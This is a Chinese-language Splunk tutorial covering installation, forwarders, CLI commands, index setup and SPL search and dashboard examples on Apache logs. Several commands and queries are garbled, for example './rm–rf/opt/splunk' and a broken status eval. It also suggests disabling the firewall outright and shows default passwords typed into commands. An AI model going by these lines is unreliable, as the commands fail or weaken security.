2、如果要采集这些数据例如:应用服务器可安装splunk的转发器,防火墙的数据可以通过TCP\UPD端口将数据发送到Splunk的中间层,Splunk的中间层称为splunk的索引器(接收器),数据将存储在这一层。 3、用户使用search head检索实例,search head将检索请求发送到各个索引器中。再把结果汇集到search head中,最后呈现给用户观看。 4、 数据源的转发器会将数据转发到多个splunk的实例中,转发器将进行自动负载均衡。 七、通用转发器 转发器分为重量(Heavy)、轻量(Light)和通用转发器(Universal)三种类型。 最常用的是通用转发器,其他两类很少使用。 与完整Splunk Enterprise实例相比,通用转发器的唯一目的是转发数据。与完整Splunk Enterprise 实例不同的是,您无法使用通用转发器索引或搜索数据。 为实现更高性能和更低的内存占用,它具有几个限制: 通用转发器没有搜索、索引或告警功能。 通用转发器不解析数据。 通用转发器不通过syslog 输出数据。 与完整Splunk Enterprise 不同的是,通用转发器不包含捆绑的Python 版本。 八、多种应用场景 0x01 Linux上安装Splunk 一、配置时间: 配置一致的时间 建议搭建企业内NTP服务器,将所有相关设备指向该服务器 (如果各个机器的时间不一致,就会因此产生问题。所以建议搭建一台NTP服务器,让所有设备的时间指向NTP服务器,让所有设备统一时间) 二、安装准备 本次安装基于CentOS 6.7, 64位 建议部署在64位环境下 Splunk Enterprise: splunk-6.4.2-00f5bb3fa822-Linux-x86_64.tgz Splunk 通用转发器: splunkforwarder-6.4.2-00f5bb3fa822-Linux-x86_64.tgz 本次以root用户安装(可以使用非root) 三、 安装步骤 1)、wget下载tgz的压缩包。 wget -c https://download.splunk.com/products/splunk/releases/6.5.1/linux/splunk-6.5.1-f74036626f0c-Linux-x86_64.tgz ; 2)、解压缩:#tar -zxvf splunk-6.5.1-f74036626f0c-Linux-x86_64.tgz -C /opt (默认我们解压到/opt目录下) 3)、splunk的可执行程序都放在/opt/splunk/bin/下,启动该程序应执行splunk,splunk命令参数如下: #注意:以下命令我们称之为CLI命令,如下:通用转发器和splunk命令都可以如下执行 ./splunk start //启动splunk --accept-license //自动接收许可 restart //重启splunk status //查看splunk状态 version //查看splunk版 开始启动的时候记得记住加上–accept-license,这样更便于我们安装。 4)、splunk安装之后开启Splunk Web端口8000。Splunkd端口8089端为管理端口。 安装之后我们可以在浏览器中访问splunk 8000端口的WEB界面。 注意:如果外部计算机无法访问它。需要关闭iptables服务或将该端口加入策略中 #services iptables stop [其它类unix系统关闭防火墙] systemctl stop firewalld.service [CentOS 7下停止防火墙] Splunk地址如:http://192.168.199.205:8000,进入splunk默认的管理员为:admin 、密码为changeme。第一登录便会强制要求修改密码 配置splunk开机启动 ./splunk enable boot-start //这样每次开机,splunk服务都会开机启动 #通过上述命令查看splunk状态和版本信息 ./splunk status #查看进程相关信息 : ps -f | grep splunk 四、 Splunk的卸载 ./splunk disable boot-start //关闭自启动 ./splunk stop //停止splunk ./rm–rf/opt/splunk //移除splunk安装目录 卸载要慎重,注意数据备份 五、安装Splunk 通用转发器 1)、将通用转发器解压到opt目录下,Splunk转发器的安装方法和splunk一致,但它无UI界面。 tar zxvf splunkforwarder-6.4.2-00f5bb3fa822-Linux-x86_64.tgz -C /opt 2)、切换到Splunkforwarder的bin目录下去启动通用转发器 cd /opt/splunkforwarder/bin/ //切换到通用转发器的可执行程序目录 ./splunk start –accept-license //启动通用转发器 注意:如果splunk web和通用转发器安装在同一服务器,通用转发器的管理端口也是8090,则会提示被splunk占用,选择yes修改转发器管理端口,如下: 我们可通过CLI命令查看splunkd的端口 ./splunk show splunkd-port //不过这里得输入splunk登录的账号密码 ./splunk set splunkd-port 8091 //修改splund的端口为8091,提示:重启生效 3)、修改通用转发器密码 默认密码:admin/changeme 修改密码如下:其中role是角色,auth是验证原密码 ./splunk edit user admin -password ‘admin’ -role admin -auth admin:changeme 0x02 Windows上安装Splunk 一、安装准备: #搭建NPT服务器 配置一致的时间 建议搭建企业内NTP服务器,将所有相关设备指向该服务器 #安装用户的选择 本地系统用户,本次采用此方式 域用户,较复杂,请参考文档 #安装环境 本次安装基于Windows 7, 64位 建议部署在64位环境下 Splunk Enterprise: splunk-6.4.2-00f5bb3fa822-x64-release.msi Splunk 通用转发器: splunkforwarder-6.4.2-00f5bb3fa822-x64-release.msi 二、 安装步骤 GUI安装,比较简单, 此处不演示。 Splunk默认安装在 “C:\Program Files\Splunk” 安装之后会注册两个服务,它的显示名称为:Splunkd Service、splunkweb (legacy purposes only) 启动:splunk start 关闭:splunk stop 重启:splunk restart 查看状态:splunk status 查看版本:splunk version 通过Windows DOS命令: net start splunkd net stop splunkd 通过服务面板 (services.msc) #查看splunk web的端口命令为: splunk show web-port 三、卸载splunk 依照上方的讲解的停止splunkd。 通过Windows控制面板的卸载程序卸载。 四、 安装Splunk 通用转发器 GUI安装,比较简单,选择:自定义(Customize Options),如下可选择SSL证书。 #其次安装的用户如下: local system :本地系统用户 domain account :域账号 #选择是否收集的日志选项(Windows Event logs)。如:应用日志、安全日志、系统日志、转发事件日志、安装日志。 #选择是否收集Windows 的性能数据(Performance Monitor)。如:CPU、内存、磁盘、网络状态等 #注:收集这些日志都是Splunk的 Splunk Add-on for Microsoft Windows插件,你在NEXT下一步则可安装它。 由于收集的这些日志会转发到splunk企业版中winEventlog的索引中,但是由于splunk 企业版没有创建该索引,如果需要创建要么手动创建,要么安装一个Splunk APP.创建索引可在: 进入Splunk Web→设置→索引→新建索引 下一步(Receiving Indexer),这里是设置接收器,即上述勾选的系统日志将转发到哪个IP和端口上。由于我们的splunk企业版在本地,所以这里写localhost,开启一个10001端口让这些日志转发到Splunk entiprise上。 #接着在splunk enterprise上配置接收。 进入Splunk Web→设置→转发和接收→接收数据→新增→侦听此端口为:10001(刚才设置的接收端口) #使用splunk的CLI命令可以查看监听的端口 splunk display listen 当然你也可以通过splunk CLI命令来增加监听端口。 splunk enable listen 10002 此时你便可以查看wineventlog索引接收的数据了 此时可以系统自带的APP (Search &Reporting)使用SPL语言来搜索索引事件。 #注:Windows 下会自动解决Splunk Enterprise和通用转发器的管理端口8090的端口冲突。 0x03 splunk安装后的配置 一、配置Splunk的服务器名称 设置->服务器设置->常规设置 默认是服务器主机名 也可通过命令行修改 ./splunk set servername 服务器名称 //修改Splunk服务器名称 修改需要重启Splunk 二、配置Splunk的端口号 Splunkd端口号:8089 Splunk Web端口号:8000 可在Splunk Web 中修改,也可通过CLI命令修改 ./splunk set splunkd-port 8090 //设置管理端口 ./splunk set web-port 8001 //设置WEB端口 配置后需要重启Splunk 三、设置默认HOST名称 设置源自该服务器的事件的默认host值 #即设置日志所来自的源主机的名称进行标记。 可在Web界面修改 进入Splunk WEB页面→设置→服务器设置→常规设置→索引设置→默认主机名: 或者通过Splunk CLI修改: #./splunk set default-hostname 新的host名称 配置后需要重启服务器 四、Splunk Web 启用SSL (HTTPS) 在Splunk Web 中启用:设置->服务器设置->常规设置 通过Splunk CLI 命令: ./splunk enable web-ssl //启用SSL ./splunk disable web-ssl //禁用SSL 需要重启 重启后Splunk Web 地址变为: https://192.168.199.205:8000 五、修改默认索引位置 默认索引目录为:/opt/splunk/var/lib/splunk/ 可以通过配置文件进行修改位置:(例如,修改为:/foo/splunk): mkdir /foo/splunk/ //创建新的索引目录,非root用户请更改目录所有者(chown) ./splunk stop //停止Splunk cp rp /opt/splunk/var/lib/splunk/* /foo/splunk/ //复制原索引目录下的所有文件到新的索引目录 vi /opt/splunk/etc/splunk-launch.conf //编辑splunk的配置文件 SPLUNK_DB=/foo/splunk //在该配置文件中设置splunk_db为新的索引路径(将原来注释去掉,然后再修改) ./splunk start //重新启动splunk 通过CLI命令: ./splunk list index //可查看所有索引以及索引的目录 六、创建索引 索引:被检索的数据存储在索引(index)中,类似于database。(就是说转发过来的事件格式化后存储在索引中) 设置->索引->新建索引 (WEB页面中创建索引) 带有_的索引都是splunk的内部索引,这些索引不记录在许可证中 默认索引:main (如果转发过来的数据不指定索引,则会保存在默认的main索引中) 在Splunk Web 中创建/删除索引 通过Splunk CLI 创建/删除索引: ./splunk add index 新的索引名称 //创建新的索引 ./splunk remove index 被删除的索引名称 //删除索引 七、配置接收端口 Universal Forwarder 转发给Splunk Enterprise 时,Splunk Enterprise所使用的接收端口默认为TCP 9997。 设置->转发和接收->配置接收,新增9997 (Web界面设置) 通过Splunk CLI 命令: ./splunk enable listen 9997 //启用splunk的接收端口 无需重启Splunk 八、许可类型 设置->授权 安装后是“Enterprise Trial”试用版许可证,500MB/天,试用60天 试用到期后转为“Splunk Free”免费版许可证,500MB/天,部分功能无法使用。 企业版许可证,请联系Splunk销售。 转发器许可证,针对重量和轻量级许可证,通用转发器不需要。 使用情况报表,可以查看当前许可证使用的情况报表 0x04 Splunk的目录结构 一、Splunk的目录结构 bin目录下:常用的Splunk命令将存储在该文件夹。 etc目录下:许可、配置文件 ,以及splunk创建的app、下载的app都将存在etc/apps; etc/system目录,存放系统配置文件; etc/system/local目录,用户对splunk进行的系统配置 etc/users目录,用户的配置文件,每个用户都拥有一个文件夹; etc/licenses/ 目录,splunk的许可证目录。 etc/apps/目录,本身存在很多自带的APP,如:默认的search & reporting 的APP就是存在etc/apps/search。 etc/apps/SplunkForwarder 目录,是Splunk的重量级转发器。 etc/apps/SplunkLightForwarder 目录,是Splunk的轻量级转发器; etc/apps/splunk_management_console 目录,是splunk的分布式管理控制台的APP; 以Search&Repoeting APP具体说明: etc/apps/search/bin 目录,一些APP的脚本放在该目录; etc/apps/search/local 目录,用户配置APP的文件存在在这里。Splunk升级不会覆盖该该文件夹下的配置文件 etc/apps/search/default 目录,Splunk APP自带的配置文件。 etc/apps/search/static 目录,APP的图标存放文件 #var目录: var/lib/ 目录下基本是放索引。 var/log Splunk自身日志目录。 #include目录: include/目录,Splunk自带的Python目录 #share share/GeoLite2-City.mmdb 文件,Splunk自带的免费IP地址库。 share/splunk/目录,引用的第三方的库文件存储位置。 二、Splunk的配置文件 三、default 和 local区别 Default 目录是Splunk自带的目录 系统优先读取用户自定义local目录下的配置文件,然后才会读取default目录下的 自定义的配置都要放在local 目录下 千万不要直接修改default目录下的文件 升级时default目录会被覆盖,local目录则不会 0x05 Splunk常用的CLI命令 一、Splunk启动/停止/重启 启动:splunk start 关闭:splunk stop 重启:splunk restart 查看状态:splunk status 查看版本:splunk version 二、配置端口号(splunkd 管理端口和Web端口) 查看端口: splunk show splunkd-port splunk show web-port 修改端口: splunk set splunkd-port splunk set web-port 三、服务器配置命令 splunk set servername 新的服务器名称 //设置服务器名称 splunk set default-hostname 新的主机名称 //设置默认主机名称 splunk enable web-ssl //启用SSL splunk disable web-ssl //关闭SSL 四、修改用户密码 splunk edit user admin –password ‘newpassword’ –authadmin:oldpassword //修改用户密码 splunk add user //新增用户 ./splunk add user 新的用户名 -password ‘新用户密码’ -full-name ‘设置它的全名’–role User(这个是角色) ./splunk list user //列出用户 username: 用户名称 full-name :全名 role : 角色 ./splunk remove user 被移除的用户名 //删除用户 五、索引操作 ./splunk list index //列出所有索引 ./splunk add index 新的索引名称 //添加索引 ./splunk remove index 要删除索引的名称 //删除索引 #注意:处于已禁用状态无法删除 ./splunk enable index 要启用的索引名称 //启用索引 \ ./splunk disable index 被禁用的索引名称 //禁用索引 ./splunk reload index //重新加载索引配置 六、启用监听端口 ./splunk enable listen 要启用的端口号 // 开启splunk接收的指定端口 ./splunk disable listen 要禁用的端口号 // 关闭splunk接收的指定端口 ./splunk display listen // 显示已启用的splunk接收的端口 七、splunk show 命令 ./splunk show web-port // 查看splunk web的端口 ./splunk show splunkd-port // 查看splunkd的端口 ./splunk show default-hostname // 查看默认的主机名称 ./splunk show servername // 查看显示splunk服务器名称 ./splunk show datastore-dir // 查看索引存储的目录 八、splunk search 命令 在命令行执行搜索命令: ./splunk search ‘index=_audit| head 5′ //查看_audit索引前5条数据 九、转发器常用命令(切换到转发器的bin目录下) #案例:(通过案例学习命令) 我们这里将Linux的审计日志 /var/log/audit/audit.log 作为监控目标,通过通用转发器,将其转发给Splunk enterprise,我们这里 通用转发器和Splunk Enterprise都是同一台服务器。 1)./splunk add monitor 监控日志的物理地址 -index 所转发到的索引 //添加一个监控项 2)./splunk list monitor //列出当前的所有监控项 3)./splunk add forward-server 192.168.199.205:9997 【Splunk Enterprise的IP:接收的端口号】//添加转发服务器 4)./splunk list forward-server //列出转发服务器 5)./splunk remove monitor ‘移除的监控文件路径’ //删除监控项 6)./splunk remove forward-server 192.168.199.205:9997 //删除 Web中查看linuxaudit索引: 十、splunk help 命令 splunk help //列出splunk常用命令列表 splunk help commands //列出更多的常用命令 splunk help index //列出索引的相关命令 splunk help monitor //列出监控相关的命令 splunk help show //列出信息显示的命令 splunk help forward-server //列出转发服务器的命令 splunk help set //列出设置相关命令 0x06 实战-导入数据前的准备 一、确定数据的存储和归类 确定数据存储在Splunk Enterprise中的哪个索引(index)中:针对不同类型的数据,建议分别存储在不同的索引中,便于数据的搜索和管理 为数据指定一个类型(sourcetype):对不同类型的数据进行归类 默认字段:index(指定特定索引), host(指定host 主机), sourcetype(数据源类型),source(日志文件路径) 二、确定编码类型 Splunk支持多种编码类型 默认编码UTF-8 中文字符编码HZ 如果包含中文字符,建议采用HZ编码 可以在数据预览时选择适合的编码 通过修改配置文件设定编码,设置全局默认编码,或为特定的数据类型设定编码: 编辑local 下的props.conf 文件(/opt/splunk/etc/system/default/props.conf): (注:此类配置到Splunk enterprise中,非转发器中) [default] CHARSET=HZ 三、确定时间戳 时间戳非常重要。 如果被转发的日志中不带时间戳,则将当前索引这些数据进来的时间设置为时间戳。 时间戳是否可以正常识别,如无法正确识别,则需配置。 四、数据预览 最佳实践—通常在将数据导入Splunk之前,建议先取小部分来进行测试,通过Splunk提供的“数据预览”功能来验证数据是否可以正确导入,是否需要额外配置。这样做可以避免,如果数据未正确导入则可能需要重新导入数据的情况。 复制额外配置并保存到props.conf配置文件中。 五、实战导入Linux审计日志 Web页面的方式 1)、进入Splunk Web界面, 设置→数据:索引→新建索引→键入索引名称 2)、设置→添加数据→监视→文件和目录→文件或目录:浏览 需要导入的数据 #连续监视:不断实时地监控,一旦有新增记录则索引到splunk #索引一次:只会将文件索引一次,后续新增的将不会被索引到splunk中 3)、单击下一步,进入来源类型;此处设置 来源类型。再进入一下在输入设置中设置索引为我们刚创建的索引。 4)、最后提交完成,变可以再search & reporting中查询得到索引内容 命令行方式执行 1)、切换到/opt/splunk/bin中,使用./splunk add index linux_audit命令新增索引。 2)、修改配置文件/opt/splunk/etc/apps/search/local/inpust.conf(如果没有请新建),添加如下: [monitor:///var/log/audit/audit.log] disabled = false index = linux_audit sourcetype = linux_audit 3)、同样在该目录下创建props.conf文件,填写如下信息: [ linux_audit ] SHOULD_LINEMERGE=true NO_BINARY_CHECK=true BREAK_ONLY_BEFORE_DATE=false CHARSET=UTF-8 category=Operating System description=Output produced by the auditd system daemon used to track changes on a Linux machine disabled=false pulldown_type=true 这些信息实际上和在Web设置来源类型中的参数配置是一样的: 4)最后使用./splunk restart重启服务即可!在search & reporting上我们像之前我们提到的一样搜索日志信息,我们使用“stats count” 来统计日志的数量: 0x07 分析本地数据-1 一、创建索引 创建名为tutorialdata 的索引 二、数据介绍 上传示例数据压缩包,Splunk支持.zip和.tar.gz等压缩包格式,splunk会对上传的压缩包自动解压缩 该压缩包包含三类数据(我当前测试的压缩包): access.log,Apache访问日志 secure.log,安全日志 三、数据 采用上传(Upload)的方式从本地导入数据 // Splunk有 上传、监视本地、来自转发三种添加数据的方式 设定路径中的段为主机名,如压缩包:/waf/secure.log,我们可以取waf为主机host名称 Splunk会自动为它们确定数据源类型(sourcetype) 创建单独的App,名为TutorialData,并在该App中查看导入的数据 步骤: 1)、 首先要创建APP,进入Splunk web界面,左上角点击“应用”→管理应用→创建应用 2)、 开始添加数据,左上角选择刚才创建的应用。然后设置→添加数据→上载→上传刚才的文件→ 3 )、在输入设置中主机名称可设置为:路径中的段,此处输入“2”表示二级目录的名称命令主机,即可我压缩包中/logs/apache/access.log,则以apache作为主机名。索引则设置我们刚才设置的索引。 上载完毕之后可以开始搜索了。 四、搜索界面 搜索界面介绍 source="tutorialdata.zip:*" index="tutorialdata“ 字段列表 例如搜索: source="logs.zip:*" index="tutorialdata" sourcetype=access_common clientip="127.0.0.1" select sleep 解释: #来源logs.zip 索引为:tutorialdata 源类型为:通用访问日志 搜索日志中IP为:127.0.0.1 关键字包括select 和 sleep 其它语法: source="logs.zip:*" index="tutorialdata" (script OR select) #: (select OR union) 逻辑或。满足一个即可。 关键字OR要大写 source="logs.zip:" index="tutorialdata" sele #:通配符*代表后面任意 我们在在右上角 “另存为——>报表”,输入标题则可保存为报表。如果你后期想修改,可在“编辑——>在搜索中打开——>修改搜索语句——>保存” 重新保存之后即可。 还可以使用统计数量之后,可视化的形式进行查看、另存为:仪表板面板、报表、告警等等 五、Splunk的搜索语言(head&tail) 管道运算符(|),将管道左边搜索产生的结果作为右边的输入 head, 返回前n 个(离现在时间最近的)结果 tail, 返回后n 个(离现在时间最后的)结果,如 index="tutorialdata" sourcetype="access_common" select | head 2 index="tutorialdata" sourcetype="access_common" select | tail 2 通过 SPL语言搜索、过滤的结果也可以保存为仪盘表,(此处我还做了单值型的可视化)。如下图: 六、Splunk的搜索语言(top、rare、rename as ) top, 显示字段最常见/出现次数最多的值 rare, 显示字段出现次数最少的值 limit,限制查询,如:limit 5,限制结果的前5条 rename xx as zz : 为xx字段设置别名为zz,多个之间用 ,隔开 fields :保留或删除搜索结果中的字段。fiels – xx 删除xx字段,保留则不需要–符号 source="tutorialdata.zip:*" index="tutorialdata" | top clientip (获取出现次数最多的IP,降序排列) source="tutorialdata.zip:*" index="tutorialdata" | top clientip limit=5 (在上方结果中限制显示前5条) #source="tutorialdata.zip:*" index="tutorialdata" | top clientip |rename clientip as “攻击源” |rename count as "攻击次数" (为两个字段设置别名) #source="tutorialdata.zip:*" index="tutorialdata" | top clientip|fields clientip count |rename clientip as “攻击源” |rename count as "攻击次数" (删除最后一个percent百分比字段) 或者: #source="tutorialdata.zip:*" index="tutorialdata" | top clientip|fields - percent |rename clientip as “攻击源” |rename count as "攻击次数" | fields 可以保存为饼状图的仪表盘 source="tutorialdata.zip:*" index="tutorialdata" | rare clientip (返回clientip最少的10个,升序排序) 0x08 分析本地数据-2 一、Splunk的搜索语言(table,sort) table :返回仅由参数中指定的字段所形成的表。如:table _time,clientip,返回的列表中只有这两个字段,多个字段用逗号隔开 基于某个字段排序(升序、降序),降序的字段前面要使用-号,升序的使用+ sort -clientip, +status, 先基于clientip降序排列之后,再对这个结果基于status升序 source="tutorialdata.zip:*" index="tutorialdata" host="www1" | table _time,clientip,status source="tutorialdata.zip:*" index="tutorialdata" host="www1" | table _time,clientip,status|sort -clientip,+status (针对上述中先基于clientip降序排列之后,再对这个结果基于status升序) 二、Splunk的搜索语言(stats) 对满足条件的事件进行统计 stats count() :括号中可以插入字段,主要作用对事件进行计数 stats dc():distinct count,去重之后对唯一值进行统计 stats values(),去重复后列出括号中的字段内容 stats list(),未去重之后列出括号指定字段的内容 stats avg(),求平均值 source="tutorialdata.zip:*" index="tutorialdata" host="www1"|stats count(clientip) [统计clientip数量] index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" |stats dc(clientip) [dc去重复之后再进行统计] 可视化可以使用“径向仪表”,对满足一定数量进行不同颜色标记,可存为现有的仪表盘面板。 index="tutorialdata" sourcetype="access_combined_wcookie" |stats values(host) as "主机列表" [去除重复后列出字段的内容] index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" |stats list(host) [未去除重复列出括号中的内容] 三、Splunk的搜索语言(chart) 在用于制作图表的表格输出中返回结果。 chart count(): index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" | chart count by host [统计字段status=200以及action=purchase的事件,并且以host字段来进行排列显示] chart max() index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" | chart count by host|chart max(count) [求出最大值] chart min() index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" | chart count by host|chart min(count) [求出最小值] chart avg() index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" | chart count by host|chart avg(count) [根据第一次的结果求出平均值] 四、Splunk的搜索语言(timechart) 使用相应的统计信息创建时间系列图表 index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" | timechart count by host [可以看到以每天作为时间分隔统计,在每24小时中满足条件的通过host字段进行统计] index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" | timechart span=8h count by host [加入span参数来定义时间间隔为8h一次分隔统计] 五、子搜索([search ]) 子搜索包含在方括号[]中 注:以下字段中含义:action=purchase代表成功购买产品 status表示状态为200 index="tutorialdata" sourcetype="access_combined_wcookie" status=200 "action=purchase" | top clientip limit=1 (搜索满足成功购买产品、状态为200的,出现数量最多的IP,只取最高的那个) index="tutorialdata" sourcetype="access_combined_wcookie""action=purchase" status=200 clientip="87.194.216.51"|stats count dc(productId),values(productId) by clientip (搜成功购买,状态为200,IP为:87.194.216.51,统计购买产品的数量,并且去重复地列出具体的名称,最后通过clientip排序显示) 合并上面两个语句,子搜索放在[]中 index="tutorialdata" sourcetype="access_combined_wcookie" action="purchase" status=200 [search index="tutorialdata" sourcetype="access_combined_wcookie" status=200 action="purchase" | top clientip limit=1 |table clientip]|stats count dc(productId),values(productId) by clientip (上面的clientip是通过子搜索 search 后面的结果,最后使用了“|table clientip”来只显示clientip字段,最后再进行如上次的统计数量和明细) 可视化后添加到仪表盘,可将现有仪表盘生成PDF。 还可以通过“PDF计划交付”来定时通过邮箱将报表发送给指定用户。 0x09 使用转发器转发数据 一、数据准备 三个主机的Apache 访问日志,Splunk可以自动识别该类型 位于/opt/log目录下 日志文件来自三台服务器,因此需要区分三台服务器 预览数据: /opt/log/BigDBbook-www1 /opt/log/BigDBbook-www2/opt/log/BigDBbook-www3 二、服务器端配置 创建新索引apachedata ./splunk add index apachedata 新增接收端口9998 ./splunk enable listen 9998 三、客户端配置 修改配置文件添加监控项 ~ vim /opt/splunkforwarder/etc/apps/search/local 如果没有local则创建该目录 创建inputs.conf ,配置如下: 明确index,host,sourcetype字段 [monitor:///opt/log/BigDBbook-www/] //设置监控/opt/log/下的所有BigDBbook-www开头的目录下的日志,记得“/”符号 index=apachedata //设置索引名称为服务端创建的:apachedata host_segment=3 // 为这三个日志设置主机名称,取名的方式将第三级目录作为名称命令,如:/opt/log/BigDBbook-www1 disabled=false //非关闭状态的监控 使用CLI命令添加转发服务器,转发端口9998 ~ sudo ./splunk add forward-server 192.168.199.205:9998 查看监控状态,处于活动状态: ~sudo ./splunk list forward-server admin/changeme 重启服务器 ~ sudo ./splunk restart 四、确认接收数据 确认数据已正确接收 验证host字段是否正确 通过索引可以看到splunk已经接收了日志,host主机名称也已经以日志路径的第三级目录名字进行命名了 sourcetype 被splunk自动识别为access_combined_wcookie 0x10 实战- 数据分析和可视化-1 一、Apache日志中HTTP状态码分析 服务器响应客户端请求的状态码: 200表示请求成功 4xx表示客户端错误 5xx表示服务器错误 400-请求失败,服务器无法识别当前客户端请求; 401-未进行用户验证,当前客户端请求需要用户验证; 403-禁用,服务器已理解当前请求,但拒绝执行; 404-页面未找到; 500-内部服务器错误 503-服务不可用:由于服务器过载,服务器无法处理当前请求 #统计4xx和5xx事件数 index="apachedata" sourcetype="access_combined_wcookie" status > 200 | stats count by status 另存为饼状图,保存成一个新的仪表盘,仪表板标题我们取:Web日志分析,仪表板ID取:web_log,面板标题取:HTTP错误状态码分析。 统计4xx和5xx事件的时间趋势图(折线图、面积图、柱状图) ,可视化为line chart图形 index="apachedata" sourcetype="access_combined_wcookie" status>200 | timechart count by status 200表示“成功”,其他均为“错误”,统计事件数量 eval命令和if函数 eval-对表达式进行计算并将结果存储在某个字段中 if (条件,True的结果,False的结果) index="apachedata" sourcetype="access_combined_wcookie" | eval success=if(status==200,"成功","错误")| timechart count by sucess 解释:if函数判断status状态如果等于200则标记为成功字段,否则标记为错误字段,通过eval统计这些结果存储在sucess字段中,通过sucess字段排列,显示出成果与错误的数量 制作每一个主机的200、400和500事件数的对比图 200标记为“成功”,400标记为“客户端错误”,500标记为“服务器错误”,保存为column chart可视化图,另存现有仪表面板 index="apachedata" sourcetype="access_combined_wcookie" | chart count(eval(status==200)) as "成功", count(eval((400500 OR status==500)) as "服务器错误" by host 解释: 统计status状态码等于200的别名则为成功,状态码大于400或者等于400,并且状态码要小于500则为 客户端错误,状态码大于500或者等于500的则为服务器错误,最后通过host字段排列 二、浏览器分析 .列出用户最常用的5种浏览器,可视化为Pie chart图,另存为现有仪表盘 index=apache sourcetype="access_combined_wcookie" | top useragentlimit=5 三、IP地址分析 排名前10的IP地址 index=apache sourcetype="access_combined_wcookie" | top clientiplimit=10 通过IP地址获取地区、国家、城市等信息 iplocation: 使用3rd-party数据库解析IP地址的位置信息 index="apachedata" sourcetype="access_combined_wcookie" | top 10 clientip|iplocation clientip 解释:获取前十的IP,并且对前十IP所在地区进行解析显示 来自中国的IP有多少 where:条件查询 index="apachedata" sourcetype="access_combined_wcookie"|iplocation clientip | where Country="China"|stats count by Country|rename Country as "国家" 四、IP地址分析 在世界地图上显示IP分布,使用Cluster Map可视化显示。 geostats命令:生成将在世界地图上呈现且群集化成地理数据箱的统计信息。 index="apachedata" sourcetype="access_combined_wcookie"|iplocation clientip | geostats count 五、IP地址分析 每台服务器的GET和POST请求的对比图,并且另存为仪表板 index="apachedata" sourcetype="access_combined_wcookie"|timechart count(eval(method=="GET")) as "GET请求",count(eval(method=="POST")) as "POST请求" by host 最后来看看我们的仪表盘——点击左上方仪表板——选定对应的仪表板标题,点击打开,由于没有进行编辑调整,看起来就没那么好看,我们可以编辑调整,包括调整图例。 最终直观的仪表板 0x11 实战- 数据分析和可视化-2 一、数据分析-了解字段含义 Action 字段: view:浏览 addtocart:添加到购物车 remove:删除 purchase:购买 changequantity:更改数量 购买:action=purchase productId字段:后面跟着的是产品名称 二、最畅销的产品 最畅销的三款产品,另存为饼状图 index="apachedata" sourcetype="access_combined_wcookie""action=purchase" |top 3 productId 产品的购买趋势图 index="apachedata" sourcetype="access_combined_wcookie" action=purchase|timechart count(eval(action="purchase")) by productId 解释:查看action=purchase,即购买成功的记录,统计这个成功购买数量的记录,并且通过productId排序显示 改进,去除other、NULL的产品: index="apachedata" sourcetype="access_combined_wcookie" action=purchase|timechart count(eval(action="purchase")) by productId usenull=false useother=false 三、页面的浏览率与购买数量 页面浏览:method=GET 购买:action=purchase 基于时间线的对比:timechart 命令 per_hour,不同于span,是一个汇总函数,用来获取比例一致的数据 index="apachedata" sourcetype="access_combined_wcookie" | timechart per_hour(eval(method=="GET")) as "浏览率" per_hour(eval(action=="purchase")) as "购买数量" 四、来源最多的网站 referer 字段表示来源地址,但站内地址应该排除 使用!=不等于排除某些,使用*通配符匹配 index="apachedata" sourcetype="access_combined_wcookie" referer !=MyGizmoStore | top referer |fields - percent| rename referer as "来源网址",count as "来源数量" 五、独立IP数 特定时间范围内的独立IP数 index="apachedata" sourcetype="access_combined_wcookie" | timechart span=2h dc(clientip) as "独立IP数" by host 最后查看我们仪表板的布局 0x12 配置邮箱服务器 一、个人用户邮箱配置 设置用户邮箱:用户名->编辑用户->电子邮件地址 二、邮箱服务器配置 设置->服务器设置->电子邮件设置 ,在这里填写你发信邮箱的主机地址、用户名、密码 三、验证是否能正常发信 Web界面手工验证 打开Splunk→仪表板→选择某个仪表板→编辑→计划PDF交互→勾选“计划PDF”→发送邮件至“” 填写收件人地址→发送测试电子邮件 使用sendmail(SPL语言)验证邮件是否能正常发送 Index=_internal | sendemail to=“收件人邮箱地址" from=“发件人邮箱地址" server=“发件服务器" subjectsendresults=true sendpdf=true 测试: index="apachedata" sourcetype="access_combined_wcookie"|stats count|sendemail to="[email protected]" from="[email protected]" server="smtp.163.com" sendresults=true sendpdf=true subject="统计测试2" 0x13 创建APP 一、在Splunk Web 中创建APP 进入Splunk Web页面→应用→管理应用。浏览更多的应用:浏览splunk APP页面获取更多应用。从文件安装应用:是指的从Splunk的官方网站下载APP以本地文件形式安装。创建应用:则是我们自行创建的应用。 新增APP至少需要填写名称、文件夹名称,建议在创建APP的时候针对不同网络设备创建不同的APP 创建的APP在左窗口有显示 二、设置进入splunk首页视图、导航、颜色 选择对应的应用→用户界面→default,编辑XML配置,例如:将之前的仪表板如:web_log(即当时保存为仪表板时的字段)加入视图。 注意:每个视图的顺序配置也决定splunk应用菜单上的顺序 最后查看效果: 三、更新图标 1、上传图标到相应APP的static目录中(如果没有请自行创建),如:/opt/splunk/etc/apps/tutorialdata/static 图标名称必须为:appIcon.png 36x36px 2、重启splunk生效 0x14 splunk技巧 一、忘记管理员密码怎么办 如果忘记管理员密码,可以重置。需要有服务器的访问权限。 方法 1)将$SPLUNK_HOME/etc/passwd文件重命名为passwd.bak 2)重新启动Splunk,此时登录Splunk Web之后,所使用的密码则为初始账号密码:admin changeme 二、_time时间字段的处理 格式化时间。 方法: | eval my_time=_time | convert timeformat=“%Y-%m-%d %H:%M:%S” ctime(my_time) | rename my_time as “时间” index="apachedata" sourcetype="access_combined_wcookie"|table _time,clientip | rename _time as 时间,clientip as "用户IP" 这种类型的搜索,所显示的时间为时间戳,为了更好地展示给用户看,我们可对该时间进行格式化。 index="apachedata" sourcetype="access_combined_wcookie"|eval my_time=_time|convert timeformat="%Y-%m-%d %H:%M:%S" ctime(my_time) | table my_time,clientip|rename my_time as "时间",clientip as "用户IP" 解释:将_time赋值给my_time,最后通过ctime进行格式化,格式为timeformat指定的格式。 三、是否可以删除数据 我索引的部分日志事件中包含敏感信息,或日志事件有乱码,是否可以删除这些事件? Splunk不允许对索引后的数据进行修改。但可以使用delete 命令删除数据,删除后无法检索到这些数据,但其实这些数据并未被从磁盘上删除。 